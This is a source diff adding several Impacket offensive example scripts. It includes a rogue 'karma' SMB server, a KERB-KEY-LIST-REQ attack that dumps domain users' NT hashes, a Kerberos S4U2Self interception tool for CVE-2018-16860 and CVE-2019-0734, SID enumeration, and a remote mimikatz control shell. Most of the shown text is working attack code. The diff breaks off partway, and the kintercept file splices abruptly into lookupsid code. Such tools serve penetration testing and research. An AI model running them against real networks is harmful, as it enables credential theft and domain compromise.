connData['MS15011']['StopConnection'] = False + share = {} + if share is not None: + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = list(connData['ConnectedShares'].keys())[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + respPacket['TreeID'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + else: + smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) + errorCode = STATUS_OBJECT_PATH_NOT_FOUND + respPacket['Status'] = errorCode + ## + + if path == 'IPC$': + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE + respSMBCommand['ShareFlags'] = 0x30 + else: + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK + respSMBCommand['ShareFlags'] = 0x0 + + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaximalAccess'] = 0x011f01ff + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], errorCode + + def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + resp = smb.NewSMBPacket() + resp['Flags1'] = smb.SMB.FLAGS1_REPLY + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \ + recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + + resp['Tid'] = recvPacket['Tid'] + resp['Mid'] = recvPacket['Mid'] + resp['Pid'] = connData['Pid'] + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() + + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + + if treeConnectAndXParameters['Flags'] & 0x8: + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + + treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + + errorCode = STATUS_SUCCESS + + UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) + #share = searchShare(connId, path, smbServer) + share = {} + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = list(connData['ConnectedShares'].keys())[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + resp['Tid'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + + respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS + + if path == 'IPC$': + respData['Service'] = 'IPC' + else: + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode() + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + resp['Uid'] = connData['Uid'] + resp.addCommand(respSMBCommand) + smbServer.setConnectionData(connId, connData) + + return None, [resp], errorCode + + def _start(self): + self.server.serve_forever() + + def run(self): + logging.info("Setting up SMB Server") + self._start() + + def setDefaultFile(self, filename): + self.defaultFile = filename + + def setExtensionsConfig(self, filename): + for line in filename.readlines(): + line = line.strip('\r\n ') + if line.startswith('#') is not True and len(line) > 0: + extension, pathName = line.split('=') + self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will " + "return the pathname contents") + parser.add_argument("--help", action="help", help='show this help message and exit') + parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB " + "clients") + parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map ' + 'extensions to files to deliver. For those extensions not present, pathname will be delivered') + parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + try: + options = parser.parse_args() + except Exception as e: + logging.critical(str(e)) + sys.exit(1) + + s = KarmaSMBServer(options.smb2support) + s.setDefaultFile(os.path.normpath(options.fileName)) + if options.config is not None: + s.setExtensionsConfig(options.config) + + s.start() + + logging.info("Servers started, waiting for connections") + while True: + try: + sys.stdin.read() + except KeyboardInterrupt: + sys.exit(1) + else: + pass diff --git a/examples/keylistattack.py b/examples/keylistattack.py new file mode 100644 index 0000000..f107c14 --- /dev/null +++ b/examples/keylistattack.py @@ -0,0 +1,271 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Performs the KERB-KEY-LIST-REQ attack to dump secrets +# from the remote machine without executing any agent there +# +# If the SMB credentials are supplied, the script starts by +# enumerating the domain users via SAMR. Otherwise, the attack +# is executed against the specified targets. +# +# Examples: +# ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey +# ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey -full +# ./keylistdump.py -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey LIST +# ./keylistdump.py -kdc dc01 -domain contoso.com -tf targetfile.txt -rodcNo 20000 -rodcKey LIST +# +# Author: +# Leandro Cuozzo (@0xdeaddood) +# + +import logging +import os +import random + +from impacket.examples import logger +from impacket.examples.secretsdump import RemoteOperations, KeyListSecrets +from impacket.examples.utils import parse_target +from impacket.krb5 import constants +from impacket.krb5.types import Principal +from impacket.smbconnection import SMBConnection +from impacket import version + +try: + rand = random.SystemRandom() +except NotImplementedError: + rand = random + pass + + +class KeyListDump: + def __init__(self, remoteName, username, password, domain, options, enum, targets): + self.__domain = domain + self.__username = username + self.__password = password + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__aesKeyRodc = options.rodcKey + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__kdcHost = options.dc_ip + self.__rodc = options.rodcNo + # self.__kvno = 1 + self.__enum = enum + self.__targets = targets + self.__full = options.full + self.__smbConnection = None + self.__remoteOps = None + self.__keyListSecrets = None + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + else: + self.__lmhash = '' + self.__nthash = '' + + def connect(self): + try: + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash) + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + def run(self): + if self.__enum is True: + self.connect() + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps.connectSamr(self.__domain) + self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) + logging.info('Enumerating target users. This may take a while on large domains') + if self.__full is True: + targetList = self.getAllDomainUsers() + else: + targetList = self.__keyListSecrets.getAllowedUsersToReplicate() + else: + logging.info('Using target users provided by parameter') + self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None) + targetList = self.__targets + + logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)') + logging.info('Using the KERB-KEY-LIST request method. Tickets everywhere!') + for targetUser in targetList: + user = targetUser.split(":")[0] + targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName) + fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey) + if fullTGT is not None: + key = self.__keyListSecrets.getKey(fullTGT, sessionKey) + print(self.__domain + "\\" + targetUser + ":" + key[2:]) + + def getAllDomainUsers(self): + resp = self.__remoteOps.getDomainUsers() + # Users not allowed to replicate passwords by default + deniedUsers = [500, 501, 502, 503] + targetList = [] + for user in resp['Buffer']['Buffer']: + if user['RelativeId'] not in deniedUsers and "krbtgt_" not in user['Name']: + targetList.append(user['Name'] + ":" + str(user['RelativeId'])) + + return targetList + + +if __name__ == '__main__': + import argparse + import sys + + try: + import pyasn1 + from pyasn1.type.univ import noValue, SequenceOf, Integer + except ImportError: + print('This module needs pyasn1 installed') + sys.exit(1) + + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Performs the KERB-KEY-LIST-REQ attack to dump " + "secrets from the remote machine without executing any agent there.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] (Use this credential ' + 'to authenticate to SMB and list domain users (low-privilege account) or LIST' + ' (if you want to parse a target file) ') + parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account') + parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller') + parser.add_argument('-full', action='store_true', default=False, help='Run the attack against all domain users. ' + 'Noisy! It could lead to more TGS requests being rejected') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('LIST option') + group.add_argument('-domain', action='store', help='The fully qualified domain name (only works with LIST)') + group.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)') + group.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)') + group.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='Use NTLM hashes to authenticate to SMB ' + 'and list domain users.') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos to authenticate to SMB and list domain users. Grabs ' + 'credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot ' + 'be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.rodcNo is None: + logging.error("You must specify the RODC number (krbtgt_XXXXX)") + sys.exit(1) + if options.rodcKey is None: + logging.error("You must specify the RODC aes key") + sys.exit(1) + + domain, username, password, remoteName = parse_target(options.target) + + if remoteName == '': + logging.error("You must specify a target or set the option LIST") + sys.exit(1) + + if remoteName == 'LIST': + targets = [] + if options.full is True: + logging.warning("Flag -full will have no effect") + if options.t is not None: + targets.append(options.t) + elif options.tf is not None: + try: + with open(options.tf, 'r') as f: + for line in f: + target = line.strip() + if target != '' and target[0] != '#': + targets.append(target + ":" + "N/A") + except IOError as error: + logging.error("Could not open file: %s - %s", options.tf, str(error)) + sys.exit(1) + if len(targets) == 0: + logging.error("No valid targets specified!") + sys.exit(1) + else: + logging.error("You must specify a target username or targets file") + sys.exit(1) + + if options.kdc is not None: + if '.' in options.kdc: + remoteName, domain = options.kdc.split('.', 1) + else: + remoteName = options.kdc + else: + logging.error("You must specify the KDC HostName or FQDN") + sys.exit(1) + + if options.target_ip is None: + options.target_ip = remoteName + if options.domain is not None: + domain = options.domain + if domain == '': + logging.error("You must specify a target domain. Use the flag -domain or define a FQDN in flag -kdc") + sys.exit(1) + + keylistdumper = KeyListDump(remoteName, username, password, domain, options, False, targets) + else: + if '@' not in options.target: + logging.error("You must specify the KDC HostName or IP Address") + sys.exit(1) + if options.target_ip is None: + options.target_ip = remoteName + if domain == '': + logging.error("You must specify a target domain") + sys.exit(1) + if username == '': + logging.error("You must specify a username") + sys.exit(1) + if password == '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + keylistdumper = KeyListDump(remoteName, username, password, domain, options, True, targets=[]) + + try: + keylistdumper.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.error(e) \ No newline at end of file diff --git a/examples/kintercept.py b/examples/kintercept.py new file mode 100644 index 0000000..df5eb4f --- /dev/null +++ b/examples/kintercept.py @@ -0,0 +1,287 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# Copyright (c) 2017 @MrAnde7son +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Copyright and licensing note from kintercept.py: +# +# MIT Licensed +# Copyright (c) 2019 Isaac Boukris +# +# A tool for intercepting TCP streams and for testing KDC handling +# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self +# protocol extention (CVE-2018-16860 and CVE-2019-0734). +# +# The tool listens on a local port (default 88), to which the hijacked +# connections should be redirected (via port forwarding, etc), and sends +# all the packets to the upstream DC server. +# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied +# packet will be changed to the name specified in the handler's argument. +# +# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr +# +import struct, socket, argparse, asyncore +from binascii import crc32 +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from impacket import version +from impacket.krb5 import constants +from impacket.krb5.crypto import Cksumtype +from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC +from impacket.krb5.types import Principal + + +MAX_READ_SIZE = 16000 +MAX_BUFF_SIZE = 32000 +LISTEN_QUEUE = 10 +TYPE = 10 + +def process_s4u2else_req(data, impostor): + try: + tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0] + except: + print ('Record is not a TGS-REQ') + return '' + + pa_tgs_req = pa_for_user = None + + for pa in tgs['padata']: + if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: + pa_tgs_req = pa + elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value: + pa_for_user = pa + + if not pa_tgs_req or not pa_for_user: + print ('TGS request is not S4U') + return '' + + tgs['padata'] = noValue + tgs['padata'][0] = pa_tgs_req + + try: + for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0] + except: + print ('Failed to decode PA_FOR_USER!') + return '' + + S4UByteArray = struct.pack('= 0: + soFar += SIMULTANEOUS + continue + elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: + resp = e.get_packet() + else: + raise + + for n, item in enumerate(resp['TranslatedNames']['Names']): + if item['Use'] != SID_NAME_USE.SidTypeUnknown: + print("%d: %s\\%s (%s)" % ( + soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], + SID_NAME_USE.enumItems(item['Use']).name)) + soFar += SIMULTANEOUS + + dce.disconnect() + + return entries + + +# Process command-line arguments. +if __name__ == '__main__': + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print(version.BANNER) + + parser = argparse.ArgumentParser() + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + + group = parser.add_argument_group('connection') + + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. ' + 'If omitted it will use whatever was specified as target. This is useful when target is the ' + 'NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through smbrelayx)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False: + from getpass import getpass + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remoteName + + lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.domain_sids, options.maxRid) + try: + lookup.dump(remoteName, options.target_ip) + except: + pass diff --git a/examples/machine_role.py b/examples/machine_role.py new file mode 100644 index 0000000..c7435a4 --- /dev/null +++ b/examples/machine_role.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Through MS-DSSP, this script retrieves a host's role along with +# its primary domain details. +# +# This may be particularly useful when it is used in a script where +# further operations depend on knowing the role of its target, +# e.g. "I do not want to perform this on a DC". +# +# Author: +# Simon Decosse (@simondotsh) +# + +import sys +import logging +import argparse + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version +from impacket.uuid import bin_to_string +from impacket.dcerpc.v5 import transport, dssp + +class MachineRole: + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp/09f0677f-52e5-454d-9a65-0e8d8ba6fdeb + MACHINE_ROLES = { + dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneWorkstation: + 'Standalone Workstation', + dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberWorkstation: + 'Domain-joined Workstation', + dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneServer: + 'Standalone Server', + dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberServer: + 'Domain-joined Server', + dssp.DSROLE_MACHINE_ROLE.DsRole_RoleBackupDomainController: + 'Backup Domain Controller', + dssp.DSROLE_MACHINE_ROLE.DsRole_RolePrimaryDomainController: + 'Primary Domain Controller' + } + + def __init__(self, username='', password='', domain='', hashes=None, + aesKey=None, doKerberos=False, kdcHost=None, port=445): + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__port = port + + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def print_info(self, remoteName, remoteHost): + try: + dce = self.__authenticate(remoteName, remoteHost) + except Exception as e: + self.__log_and_exit(str(e)) + + try: + output = self.__fetch(dce) + except Exception as e: + self.__log_and_exit(str(e)) + + for key, value in output.items(): + print('%s: %s' % (key, value)) + + dce.disconnect() + + def __authenticate(self, remoteName, remoteHost): + dce = self.__get_transport(remoteName, remoteHost) + + dce.connect() + dce.bind(dssp.MSRPC_UUID_DSSP) + + return dce + + def __get_transport(self, remoteName, remoteHost): + stringbinding = r'ncacn_np:%s[\pipe\lsarpc]' % remoteName + logging.debug('StringBinding %s' % stringbinding) + rpctransport = transport.DCERPCTransportFactory(stringbinding) + rpctransport.set_dport(self.__port) + rpctransport.setRemoteHost(remoteHost) + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey) + rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + + return rpctransport.get_dce_rpc() + + def __fetch(self, dce): + output = {} + domain_info = dssp.hDsRolerGetPrimaryDomainInformation(dce, 1) + + output['Machine Role'] = self.MACHINE_ROLES[domain_info['DomainInfo']['DomainInfoBasic']['MachineRole']] + output['NetBIOS Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameFlat'] + output['Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameDns'] + output['Forest Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainForestName'] + output['Domain GUID'] = bin_to_string(domain_info['DomainInfo']['DomainInfoBasic']['DomainGuid']) + + return output + + def __log_and_exit(self, error): + logging.critical('Error while enumerating host: %s' % error) + sys.exit(1) + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description='Retrieve a host\'s role along with its primary domain details.') + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store',metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar='ip address', help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action='store_true', help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action='store_true', help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if options.target_ip is None: + options.target_ip = remoteName + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass('Password:') + + machine_role = MachineRole(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port)) + machine_role.print_info(remoteName, options.target_ip) + \ No newline at end of file diff --git a/examples/mimikatz.py b/examples/mimikatz.py new file mode 100644 index 0000000..bf50848 --- /dev/null +++ b/examples/mimikatz.py @@ -0,0 +1,250 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# SMB DCE/RPC +# + +from __future__ import division +from __future__ import print_function +import argparse +import cmd +import logging +import os +import sys + +from impacket import version +from impacket.dcerpc.v5 import epm, mimilib +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.transport import DCERPCTransportFactory +from impacket.examples import logger +from impacket.examples.utils import parse_target + +try: + from Cryptodome.Cipher import ARC4 +except Exception: + logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") + logging.critical("See https://pypi.org/project/pycryptodomex/") + +# If you wanna have readline like functionality in Windows, install pyreadline +try: + import pyreadline as readline +except ImportError: + import readline + + +mimikatz_intro = r"""Type help for list of commands""" + + +class MimikatzShell(cmd.Cmd): + def __init__(self, dce): + cmd.Cmd.__init__(self) + self.shell = None + + self.prompt = 'mimikatz # ' + self.tid = None + self.intro = mimikatz_intro + self.pwd = '' + self.share = None + self.loggedIn = True + self.last_output = None + + self.dce = dce + + dh = mimilib.MimiDiffeH() + blob = mimilib.PUBLICKEYBLOB() + blob['y'] = dh.genPublicKey()[::-1] + publicKey = mimilib.MIMI_PUBLICKEY() + publicKey['sessionType'] = mimilib.CALG_RC4 + publicKey['cbPublicKey'] = 144 + publicKey['pbPublicKey'] = blob.getData() + resp = mimilib.hMimiBind(self.dce, publicKey) + blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey'])) + + self.key = dh.getSharedSecret(blob['y'][::-1])[-16:][::-1] + self.pHandle = resp['phMimi'] + + def emptyline(self): + pass + + def precmd(self,line): + # switch to unicode + #return line.encode('utf-8') + return line + + def default(self, line): + if line.startswith('*'): + line = line[1:] + command = (line.strip('\n')+'\x00').encode('utf-16le') + command = ARC4.new(self.key).encrypt(command) + resp = mimilib.hMimiCommand(self.dce, self.pHandle, command) + cipherText = b''.join(resp['encResult']) + cipher = ARC4.new(self.key) + print(cipher.decrypt(cipherText).decode('utf-16le')) + + def onecmd(self,s): + retVal = False + try: + retVal = cmd.Cmd.onecmd(self,s) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error(e) + + return retVal + + def do_exit(self,line): + if self.shell is not None: + self.shell.close() + return True + + def do_shell(self, line): + output = os.popen(line).read() + print(output) + self.last_output = output + + def do_help(self,line): + self.default('::') + +def main(): + # Init the example's logger theme + logger.init() + print(version.BANNER) + parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + bound = False + + try: + if username != '': + try: + # Let's try to do everything through SMB. If we'e lucky it might get everything encrypted + rpctransport = DCERPCTransportFactory(r'ncacn_np:%s[\pipe\epmapper]'%address) + rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) + dce = rpctransport.get_dce_rpc() + if options.k: + rpctransport.set_kerberos(True, options.dc_ip) + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.connect() + # Give me the endpoint please! + stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_np', dce=dce) + + # Thanks, let's now use the same SMB Connection to bind to mimi + rpctransport2 = DCERPCTransportFactory(stringBinding) + rpctransport2.set_smb_connection(rpctransport.get_smb_connection()) + dce = rpctransport2.get_dce_rpc() + if options.k: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.connect() + dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) + bound = True + except Exception as e: + if str(e).find('ept_s_not_registered') >=0: + # Let's try ncacn_ip_tcp + stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') + else: + raise + + else: + stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') + + if bound is False: + 